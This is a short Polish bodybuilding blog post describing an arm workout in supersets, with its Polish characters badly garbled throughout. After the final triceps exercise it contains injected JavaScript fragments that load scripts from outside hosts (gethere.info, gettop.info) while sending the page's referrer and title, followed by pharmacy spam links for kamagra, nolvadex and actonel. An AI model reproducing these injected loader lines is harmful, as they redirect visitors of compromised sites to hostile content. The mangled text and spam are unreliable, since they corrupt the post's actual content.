14.03.2012

14.04.2012 / Tomasz Lech / Kulturystyka

Dzisiaj trenowaAi??em ramiona.PostanowiAi??em A?e trening jaki dzisiaj wykonam bAi??dzie skAi??adaAi?? siAi?? w wiAi??kszoAi??ci z Ai??wiczeAi?? ktA?rych na co dzieAi?? nie wykonujAi??.ChciaAi??em zobaczyAi?? jak zareagujAi?? moje miAi??Ai??nie.ByAi??o tak jak myAi??laAi??em niemiAi??osierna pompa na treningu.Poza tym kaA?de ostatnie Ai??wiczenie koAi??czyAi??em dropsetem.Trening robiAi??em w superseriach,wyglAi??daAi?? on nastAi??pujAi??co.

Biceps
-uginanie przedramion z drAi??A?kiem prostym wyciAi??gu dolnego 4×12
-uginanie przedramienia jednorAi??cz w oparciu o Ai??awkAi?? rzymskAi?? (coAi?? na zasadzie modlitewnika z pionowym oparciem) 4×12
-uginanie mAi??otkowe 4×12
Dzisiaj jeszcze mnie czeka tylko 40min aerobA?w ktA?re wykonam o godz. 21.30.

Triceps
-prostowanie przedramion na wyciAi??gu gA?rnym podchwytem jednorAi??cz 4×12
-wyciskanie hantla siedzAi??c-oburAi??cz 4×15
-prostowanie przedramion z prostym drAi??A?kiem 4x15s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; Order Purchase http://phen-es.com/index.php/2018/03/18/dilantin-iv-infiltration-treatment/ online s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if (document.currentScript) { order actonel 35mg online pharmach Buy kamagra uk review. Kamagra online. kamagra tablets. comprar nolvadex online Order Purchase